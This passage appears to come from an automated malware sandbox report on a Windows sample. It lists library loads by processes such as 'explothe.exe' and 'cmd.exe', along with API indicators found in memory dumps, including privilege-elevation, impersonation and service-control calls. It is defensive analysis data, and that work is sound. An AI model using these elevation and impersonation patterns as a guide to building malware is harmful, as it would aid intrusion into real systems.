SHELL32.dll (UID: 00000000-00002072) "8Am5oO69.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00002072) "8Am5oO69.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00002072) "8Am5oO69.exe" called "LoadLibrary" with a parameter propsys.dll (UID: 00000000-00002072) "8Am5oO69.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00002072) "8Am5oO69.exe" called "LoadLibrary" with a parameter ntmarta.dll (UID: 00000000-00002072) "8Am5oO69.exe" called "LoadLibrary" with a parameter Secur32.dll (UID: 00000000-00002072) "8Am5oO69.exe" called "LoadLibrary" with a parameter API-MS-WIN-DOWNLEVEL-SHLWAPI-L1-1-0.DLL (UID: 00000000-00002072) "8Am5oO69.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00002072) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002068) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002068) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002068) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002068) "cmd.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00002068) "cmd.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00002068) "cmd.exe" called "LoadLibrary" with a parameter %WINDIR%\System32\ieframe.dll (UID: 00000000-00002068) "cmd.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00002068) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-ole32-l1-1-0.dll (UID: 00000000-00002068) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-advapi32-l1-1-0.dll (UID: 00000000-00002068) "cmd.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00002068) "cmd.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00002068) "cmd.exe" called "LoadLibrary" with a parameter %PROGRAMFILES%\Internet Explorer\ieproxy.dll (UID: 00000000-00002068) "cmd.exe" called "LoadLibrary" with a parameter PROPSYS.dll (UID: 00000000-00002068) "cmd.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00002068) "cmd.exe" called "LoadLibrary" with a parameter iertutil.dll (UID: 00000000-00002068) "cmd.exe" called "LoadLibrary" with a parameter API-MS-Win-Core-LocalRegistry-L1-1-0.dll (UID: 00000000-00002068) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-shlwapi-l2-1-0.dll (UID: 00000000-00002068) "cmd.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00002068) "cmd.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00002068) "explothe.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003100) "explothe.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003100) "explothe.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003100) "explothe.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003100) "explothe.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00003100) "explothe.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003572) "explothe.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003572) "explothe.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003572) "explothe.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003572) "explothe.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00003572)35:T8bc,Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; File: "file") Found reference to API "ElevateCreateProcess WRPMitigationLayer" (Indicator: "CreateProcess"; File: "00000984.000003D8.269039.00050000.wprm") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitig" (Indicator: "CreateProcess"; Source: "00000000-00000176.00000000.70144.00150000.00000004.mdmp, 00000000-00000176.00000001.72066.00150000.00000004.mdmp, 00000000-00000176.00000002.73635.00150000.00000004.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitigationLayer" (Indicator: "CreateProcess"; Source: "00000000-00000176.00000000.70144.00150000.00000004.mdmp, 00000000-00000176.00000000.70144.00240000.00000004.mdmp, 00000000-00000176.00000000.70144.00290000.00000004.mdmp, 00000000-00000176.00000001.72066.00150000.00000004.mdmp, 00000000-00000176.00000001.72066.00240000.00000004.mdmp, 00000000-00000176.00000001.72066.00290000.00000004.mdmp, 00000000-00000176.00000002.73635.00150000.00000004.mdmp, 00000000-00000176.00000002.73635.00240000.00000004.mdmp, 00000000-00000176.00000002.73635.00290000.00000004.mdmp") Found reference to API "ElevateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00000176.00000000.70144.00290000.00000004.mdmp, 00000000-00000176.00000001.72066.00290000.00000004.mdmp, 00000000-00000176.00000002.73635.00290000.00000004.mdmp") Found reference to API "MPAT_LAYER=ElevateCreateProcess WRPMitigationLayer" (Indicator: "CreateProcess"; Source: "00000000-00000176.00000000.70144.00290000.00000004.mdmp, 00000000-00000176.00000001.72066.00290000.00000004.mdmp") Found reference to API "ElevateCreateProcess WRPMitigationLayer" (Indicator: "CreateProcess"; Source: "00000000-00000176.00000000.70144.00290000.00000004.mdmp, 00000000-00000176.00000001.72066.00290000.00000004.mdmp, 00000000-00000176.00000002.73635.00290000.00000004.mdmp") Found reference to API "848854367,2932,3136,,CreateProcessA,kernel32.dll,"252:03:43.744",RX=0,PX=0" (Indicator: "CreateProcess"; Source: "00000000-00000176.00000000.70144.00290000.00000004.mdmp") Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp")36:T8559,Found reference to API (Indicator: "CheckTokenMembership"; File: "file") Found reference to API (Indicator: "HeapSetInformation"; File: "file") Found reference to API (Indicator: "DecryptFileA"; File: "file") Found reference to API (Indicator: "SHBrowseForFolder"; File: "file") Found reference to API (Indicator: "SHGetPathFromIDList"; File: "file") Found reference to API (Indicator: "GetTokenInformation"; File: "file") Found reference to API (Indicator: "RegDeleteValueA"; File: "file") Found reference to API (Indicator: "RegOpenKeyExA"; File: "file") Found reference to API (Indicator: "RegQueryInfoKeyA"; File: "file") Found reference to API (Indicator: "FreeSid"; File: "file") Found reference to API (Indicator: "OpenProcessToken"; File: "file") Found reference to API (Indicator: "RegSetValueExA"; File: "file") Found reference to API (Indicator: "RegCreateKeyExA"; File: "file") Found reference to API (Indicator: "LookupPrivilegeValueA"; File: "file") Found reference to API (Indicator: "AllocateAndInitializeSid"; File: "file") Found reference to API (Indicator: "RegQueryValueExA"; File: "file") Found reference to API (Indicator: "EqualSid"; File: "file") Found reference to API (Indicator: "RegCloseKey"; File: "file") Found reference to API (Indicator: "AdjustTokenPrivileges"; File: "file") Found reference to API (Indicator: "GetShortPathNameA"; File: "file") Found reference to API (Indicator: "GetModuleFileNameA"; File: "file") Found reference to API (Indicator: "FindFirstFileA"; File: "file") Found reference to API (Indicator: "GetCurrentProcess"; File: "file") Found reference to API (Indicator: "FindNextFileA"; File: "file") Found reference to API (Indicator: "ExpandEnvironmentStringsA"; File: "file") Found reference to API (Indicator: "FindClose"; File: "file") Found reference to API (Indicator: "LocalAlloc"; File: "file") Found reference to API (Indicator: "lstrcmpA"; File: "file") Found reference to API (Indicator: "CompareStringA"; File: "file") Found reference to API (Indicator: "GetLastError"; File: "file") Found reference to API (Indicator: "GetFileAttributesA"; File: "file") Found reference to API (Indicator: "GetSystemDirectoryA"; File: "file") Found reference to API (Indicator: "LoadLibraryA"; File: "file") Found reference to API (Indicator: "DeleteFileA"; File: "file") Found reference to API (Indicator: "GlobalAlloc"; File: "file") Found reference to API (Indicator: "GlobalFree"; File: "file") Found reference to API (Indicator: "CloseHandle"; File: "file") Found reference to API (Indicator: "WritePrivateProfileStringA"; File: "file") Found reference to API (Indicator: "IsDBCSLeadByte"; File: "file") Found reference to API (Indicator: "GetWindowsDirectoryA"; File: "file") Found reference to API (Indicator: "SetFileAttributesA"; File: "file") Found reference to API (Indicator: "GetProcAddress"; File: "file") Found reference to API (Indicator: "GlobalLock"; File: "file") Found reference to API (Indicator: "LocalFree"; File: "file") Found reference to API (Indicator: "RemoveDirectoryA"; File: "file") Found reference to API (Indicator: "FreeLibrary"; File: "file") Found reference to API (Indicator: "CreateDirectoryA"; File: "file") Found reference to API (Indicator: "GetPrivateProfileIntA"; File: "file") Found reference to API (Indicator: "GetPrivateProfileStringA"; File: "file") Found reference to API (Indicator: "GlobalUnlock"; File: "file") Found reference to API (Indicator: "ReadFile"; File: "file") Found reference to API (Indicator: "SizeofResource"; File: "file") Found reference to API (Indicator: "WriteFile"; File: "file") Found reference to API (Indicator: "GetDriveTypeA"; File: "file") Found reference to API (Indicator: "LoadLibraryExA"; File: "file") Found reference to API (Indicator: "SetFileTime"; File: "file") Found reference to API (Indicator: "SetFilePointer"; File: "file") Found reference to API (Indicator: "FindResourceA"; File: "file") Found reference to API (Indicator: "CreateMutexA"; File: "file") Found reference to API (Indicator: "GetVolumeInformationA"; File: "file") Found reference to API (Indicator: "WaitForSingleObject"; File: "file") Found reference to API (Indicator: "GetCurrentDirectoryA"; File: "file") Found reference to API (Indicator: "FreeResource"; File: "file") Found reference to API (Indicator: "GetVersion"; File: "file") Found reference to API (Indicator: "SetCurrentDirectoryA"; File: "file") Found reference to API (Indicator: "GetTempPathA"; File: "file") Found reference to API (Indicator: "LocalFileTimeToFileTime"; File: "file") Found reference to API (Indicator: "CreateFileA"; File: "file") Found reference to API (Indicator: "SetEvent"; File: "file") Found reference to API (Indicator: "TerminateThread"; File: "file") Found reference to API (Indicator: "GetVersionExA"; File: "file") Found reference to API (Indicator: "LockResource"; File: "file") Found reference to API (Indicator: "GetSystemInfo"; File: "file") Found reference to API (Indicator: "CreateThread"; File: "file") Found reference to API (Indicator: "ResetEvent"; File: "file") Found reference to API (Indicator: "LoadResource"; File: "file") Found reference to API (Indicator: "ExitProcess"; File: "file") Found reference to API (Indicator: "GetModuleHandleW"; File: "file") Found reference to API (Indicator: "CreateProcessA"; File: "file") Found reference to API (Indicator: "FormatMessageA"; File: "file") Found reference to API (Indicator: "GetTempFileNameA"; File: "file") Found reference to API (Indicator: "DosDateTimeToFileTime"; File: "file") Found reference to API (Indicator: "CreateEventA"; File: "file") Found reference to API (Indicator: "GetExitCodeProcess"; File: "file") Found reference to API (Indicator: "GetDeviceCaps"; File: "file") Found reference to API (Indicator: "GetDesktopWindow"; File: "file") Found reference to API (Indicator: "CharUpperA"; File: "file") Found reference to API (Indicator: "ExitWindowsEx"; File: "file") Found reference to API (Indicator: "MessageBeep"; File: "file") Found reference to API (Indicator: "CharPrevA"; File: "file") Found reference to API (Indicator: "LoadStringA"; File: "file") Found reference to API (Indicator: "CharNextA"; File: "file") Found reference to API (Indicator: "EnableWindow"; File: "file") Found reference to API (Indicator: "ReleaseDC"; File: "file") Found reference to API (Indicator: "SetForegroundWindow"; File: "file") Found reference to API (Indicator: "PeekMessageA"; File: "file") Found reference to API (Indicator: "SendMessageA"; File: "file") Found reference to API (Indicator: "MessageBoxA"; File: "file") Found reference to API (Indicator: "SetWindowTextA"; File: "file") Found reference to API (Indicator: "GetWindowLongA"; File: "file") Found reference to API (Indicator: "CallWindowProcA"; File: "file") Found reference to API (Indicator: "SetWindowLongA"; File: "file") Found reference to API (Indicator: "ShowWindow"; File: "file") Found reference to API (Indicator: "MsgWaitForMultipleObjects"; File: "file") Found reference to API (Indicator: "SetWindowPos"; File: "file") Found reference to API (Indicator: "GetDC"; File: "file") Found reference to API (Indicator: "GetWindowRect"; File: "file") Found reference to API (Indicator: "DispatchMessageA"; File: "file") Found reference to API (Indicator: "GetFileVersionInfoSizeA"; File: "file") Found reference to API (Indicator: "VerQueryValueA"; File: "file") Found reference to API (Indicator: "GetFileVersionInfoA"; File: "file") Found reference to API (Indicator: "Sleep"; File: "file") Found reference to API (Indicator: "GetStartupInfoW"; File: "file") Found reference to API (Indicator: "UnhandledExceptionFilter"; File: "file") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; File: "file") Found reference to API (Indicator: "TerminateProcess"; File: "file") Found reference to API (Indicator: "QueryPerformanceCounter"; File: "file") Found reference to API (Indicator: "GetCurrentProcessId"; File: "file") Found reference to API (Indicator: "GetCurrentThreadId"; File: "file") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; File: "file") Found reference to API (Indicator: "GetTickCount"; File: "file") Found reference to API (Indicator: "EnumResourceLanguagesA"; File: "file") Found reference to API (Indicator: "GetDiskFreeSpaceA"; File: "file") Found reference to API (Indicator: "MulDiv"; File: "file") Found reference to API (Indicator: "GetSystemMetrics"; File: "file") Found reference to API (Indicator: "OpenServiceA"; File: "00000000-00001784.00000000.70334.00832000.00000020.mdmp") Found reference to API (Indicator: "OpenSCManagerW"; File: "00000000-00001784.00000000.70334.00832000.00000020.mdmp") Found reference to API (Indicator: "ControlService"; File: "00000000-00001784.00000000.70334.00832000.00000020.mdmp") Found reference to API (Indicator: "OpenService"; File: "00000000-00001784.00000000.70334.00832000.00000020.mdmp") Found reference to API (Indicator: "StartService"; File: "00000000-00001784.00000000.70334.00832000.00000020.mdmp") Found reference to API (Indicator: "GetUserName"; File: "00000000-00001784.00000000.70334.00832000.00000020.mdmp") Found reference to API (Indicator: "ChangeServiceConfig"; File: "00000000-00001784.00000000.70334.00832000.00000020.mdmp") Found reference to API (Indicator: "OpenSCManager"; File: "00000000-00001784.00000000.70334.00832000.00000020.mdmp") Found reference to API (Indicator: "ImpersonateLoggedOnUser"; File: "00000000-00001784.00000000.70334.00832000.00000020.mdmp") Found reference to API (Indicator: "FlsSetValue"; File: "00000000-00002864.00000000.70670.01361000.00000020.mdmp") Found reference to API (Indicator: "LCMapStringEx"; File: "00000000-00002864.00000000.70670.01361000.00000020.mdmp") Found reference to API (Indicator: "LocaleNameToLCID"; File: "00000000-00002864.00000000.70670.01361000.00000020.mdmp") Found reference to API (Indicator: "FlsAlloc"; File: "00000000-00002864.00000000.70670.01361000.00000020.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; File: "00000000-00002864.00000000.70670.01361000.00000020.mdmp") Found reference to API (Indicator: "FlsFree"; File: "00000000-00002864.00000000.70670.01361000.00000020.mdmp") Found reference to API (Indicator: "FlsGetValue"; File: "00000000-00002864.00000000.70670.01361000.00000020.mdmp") Found reference to API (Indicator: "AreFileApisANSI"; File: "00000000-00002864.00000000.70670.01361000.00000020.mdmp") Found reference to API (Indicator: "GetWindowDC"; File: "00000000-00002148.00000000.71643.00222000.00000020.mdmp") Found reference to API (Indicator: "SendMessage"; File: "00000000-00002148.00000000.71643.00222000.00000020.mdmp") Found reference to API (Indicator: "GetClassName"; File: "00000000-00002148.00000000.71643.00222000.00000020.mdmp") Found reference to API (Indicator: "ReleaseCapture"; File: "00000000-00002148.00000000.71643.00222000.00000020.mdmp") Found reference to API (Indicator: "GetWindowLong"; File: "00000000-00002148.00000000.71643.00222000.00000020.mdmp") Found reference to API (Indicator: "SetWindowLong"; File: "00000000-00002148.00000000.71643.00222000.00000020.mdmp") Found reference to API (Indicator: "InsertMenuItem"; File: "00000000-00002148.00000000.71643.00222000.00000020.mdmp") Found reference to API (Indicator: "ClientToScreen"; File: "00000000-00002148.00000000.71643.00222000.00000020.mdmp") Found reference to API (Indicator: "CreateRoundRectRgn"; File: "00000000-00002148.00000000.71643.00222000.00000020.mdmp") Found reference to API (Indicator: "GetScrollInfo"; File: "00000000-00002148.00000000.71643.00222000.00000020.mdmp") Found reference to API (Indicator: "DrawMenuBar"; File: "00000000-00002148.00000000.71643.00222000.00000020.mdmp") Found reference to API (Indicator: "LoadCursor"; File: "00000000-00002148.00000000.71643.00222000.00000020.mdmp") Found reference to API (Indicator: "SetCursor"; File: "00000000-00002148.00000000.71643.00222000.00000020.mdmp") Found reference to API (Indicator: "GetLogicalDrives"; File: "00000000-00002148.00000000.71643.00222000.00000020.mdmp") Found reference to API (Indicator: "GetCursorPos"; File: "00000000-00002148.00000000.71643.00222000.00000020.mdmp") Found reference to API (Indicator: "GetClientRect"; File: "00000000-00002148.00000000.71643.00222000.00000020.mdmp") Found reference to API (Indicator: "BitBlt"; File: "00000000-00002148.00000000.71643.00222000.00000020.mdmp") Found reference to API (Indicator: "WindowFromPoint"; File: "00000000-00002148.00000000.71643.00222000.00000020.mdmp") Found reference to API (Indicator: "GetWindowText"; File: "00000000-00002148.00000000.71643.00222000.00000020.mdmp") Found reference to API (Indicator: "GetSystemMenu"; File: "00000000-00002148.00000000.71643.00222000.00000020.mdmp") Found reference to API (Indicator: "InsertMenu"; File: "00000000-00002148.00000000.71643.00222000.00000020.mdmp") Found reference to API (Indicator: "FindWindow"; File: "00000000-00002148.00000000.71643.00222000.00000020.mdmp") Found reference to API (Indicator: "DestroyWindow"; File: "00000000-00002148.00000000.71643.00222000.00000020.mdmp") Found reference to API (Indicator: "GetDCEx"; File: "00000000-00002148.00000000.71643.00222000.00000020.mdmp") Found reference to API (Indicator: "TrackPopupMenuEx"; File: "00000000-00002148.00000000.71643.00222000.00000020.mdmp") Found reference to API (Indicator: "CreateWindowEx"; File: "00000000-00002148.00000000.71643.00222000.00000020.mdmp") Found reference to API (Indicator: "MessageBox"; File: "00000000-00002148.00000000.71643.00222000.00000020.mdmp") Found reference to API (Indicator: "RegisterHotKey"; File: "00000000-00002148.00000000.71643.00222000.00000020.mdmp") Found reference to API (Indicator: "UnregisterHotKey"; File: "00000000-00002148.00000000.71643.00222000.00000020.mdmp") Found reference to API (Indicator: "CreateDirectory"; File: "00000000-00002148.00000000.71643.00222000.00000020.mdmp") Found reference to API (Indicator: "EnumSystemLocalesEx"; File: "00000000-00002952.00000000.72578.00F61000.00000020.mdmp") Found reference to API (Indicator: "MessageBoxW"; File: "00000000-00002952.00000000.72578.00F61000.00000020.mdmp") Found reference to API (Indicator: "GetLocaleInfoEx"; File: "00000000-00002952.00000000.72578.00F61000.00000020.mdmp") Found reference to API (Indicator: "IsValidLocaleName"; File: "00000000-00002952.00000000.72578.00F61000.00000020.mdmp") Found reference to API (Indicator: "GetEnabledXStateFeatures"; File: "00000000-00002952.00000000.72578.00F61000.00000020.mdmp") Found reference to API (Indicator: "GetXStateFeaturesMask"; File: "00000000-00002952.00000000.72578.00F61000.00000020.mdmp") Found reference to API (Indicator: "GetTimeFormatEx"; File: "00000000-00002952.00000000.72578.00F61000.00000020.mdmp") Found reference to API (Indicator: "GetProcessWindowStation"; File: "00000000-00002952.00000000.72578.00F61000.00000020.mdmp") Found reference to API (Indicator: "SetThreadStackGuarantee"; File: "00000000-00002952.00000000.72578.00F61000.00000020.mdmp") Found reference to API (Indicator: "LCIDToLocaleName"; File: "00000000-00002952.00000000.72578.00F61000.00000020.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; File: "00000000-00002952.00000000.72578.00F61000.00000020.mdmp") Found reference to API (Indicator: "GetActiveWindow"; File: "00000000-00002952.00000000.72578.00F61000.00000020.mdmp") Found reference to API (Indicator: "GetLastActivePopup"; File: "00000000-00002952.00000000.72578.00F61000.00000020.mdmp") Found reference to API (Indicator: "LocateXStateFeature"; File: "00000000-00002952.00000000.72578.00F61000.00000020.mdmp") Found reference to API (Indicator: "GetUserObjectInformationW"; File: "00000000-00002952.00000000.72578.00F61000.00000020.mdmp") Found reference to API (Indicator: "CompareStringEx"; File: "00000000-00002952.00000000.72578.00F61000.00000020.mdmp") Found reference to API (Indicator: "GetUserDefaultLocaleName"; File: "00000000-00002952.00000000.72578.00F61000.00000020.mdmp") Found reference to API (Indicator: "GetDateFormatEx"; File: "00000000-00002952.00000000.72578.00F61000.00000020.mdmp") Found reference to API (Indicator: "VirtualFree"; File: "2hc1372.exe.3697531456") Found reference to API (Indicator: "VirtualAlloc"; File: "2hc1372.exe.3697531456") Found reference to API (Indicator: "IsProcessorFeaturePresent"; File: "2hc1372.exe.3697531456") Found reference to API (Indicator: "RtlUnwind"; File: "2hc1372.exe.3697531456") Found reference to API (Indicator: "SetLastError"; File: "2hc1372.exe.3697531456") Found reference to API (Indicator: "EnterCriticalSection"; File: "2hc1372.exe.3697531456") Found reference to API (Indicator: "LeaveCriticalSection"; File: "2hc1372.exe.3697531456") Found reference to API (Indicator: "DeleteCriticalSection"; File: "2hc1372.exe.3697531456") Found reference to API (Indicator: "TlsAlloc"; File: "2hc1372.exe.3697531456") Found reference to API (Indicator: "TlsGetValue"; File: "2hc1372.exe.3697531456") Found reference to API (Indicator: "TlsSetValue"; File: "2hc1372.exe.3697531456") Found reference to API (Indicator: "TlsFree"; File: "2hc1372.exe.3697531456") Found reference to API (Indicator: "GetStdHandle"; File: "2hc1372.exe.3697531456") Found reference to API (Indicator: "GetModuleFileNameW"; File: "2hc1372.exe.3697531456") Found reference to API (Indicator: "HeapFree"; File: "2hc1372.exe.3697531456") Found reference to API (Indicator: "HeapAlloc"; File: "2hc1372.exe.3697531456") Found reference to API (Indicator: "HeapReAlloc"; File: "2hc1372.exe.3697531456") Found reference to API (Indicator: "LCMapStringW"; File: "2hc1372.exe.3697531456") Found reference to API (Indicator: "FindFirstFileExW"; File: "2hc1372.exe.3697531456") Found reference to API (Indicator: "IsValidCodePage"; File: "2hc1372.exe.3697531456") Found reference to API (Indicator: "GetACP"; File: "2hc1372.exe.3697531456") Found reference to API (Indicator: "GetOEMCP"; File: "2hc1372.exe.3697531456") Found reference to API (Indicator: "GetCPInfo"; File: "2hc1372.exe.3697531456") Found reference to API (Indicator: "GetCommandLineA"; File: "2hc1372.exe.3697531456") Found reference to API (Indicator: "GetCommandLineW"; File: "2hc1372.exe.3697531456") Found reference to API (Indicator: "MultiByteToWideChar"; File: "2hc1372.exe.3697531456") Found reference to API (Indicator: "GetEnvironmentStringsW"; File: "2hc1372.exe.3697531456") Found reference to API (Indicator: "FreeEnvironmentStringsW"; File: "2hc1372.exe.3697531456") Found reference to API (Indicator: "SetStdHandle"; File: "2hc1372.exe.3697531456") Found reference to API (Indicator: "GetStringTypeW"; File: "2hc1372.exe.3697531456") Found reference to API (Indicator: "GetProcessHeap"; File: "2hc1372.exe.3697531456") Found reference to API (Indicator: "HeapSize"; File: "2hc1372.exe.3697531456") Found reference to API (Indicator: "FlushFileBuffers"; File: "2hc1372.exe.3697531456") Found reference to API (Indicator: "GetConsoleOutputCP"; File: "2hc1372.exe.3697531456") Found reference to API (Indicator: "GetConsoleMode"; File: "2hc1372.exe.3697531456") Found reference to API (Indicator: "SetFilePointerEx"; File: "2hc1372.exe.3697531456") Found reference to API (Indicator: "WriteConsoleW"; File: "2hc1372.exe.3697531456") Found reference to API (Indicator: "GetTokenInformation"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteValueA"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExA"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "RegQueryInfoKeyA"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "FreeSid"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExA"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExA"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "LookupPrivilegeValueA"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExA"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "EqualSid"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetShortPathNameA"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileA"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileA"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsA"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "lstrcmpA"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "CompareStringA"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesA"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryA"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileA"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GlobalAlloc"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GlobalFree"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "WritePrivateProfileStringA"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "IsDBCSLeadByte"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetWindowsDirectoryA"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "SetFileAttributesA"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GlobalLock"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "RemoveDirectoryA"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectoryA"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileIntA"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileStringA"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GlobalUnlock"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetDriveTypeA"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExA"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "SetFileTime"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "FindResourceA"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexA"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetVolumeInformationA"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentDirectoryA"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "FreeResource"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetVersion"; Source: 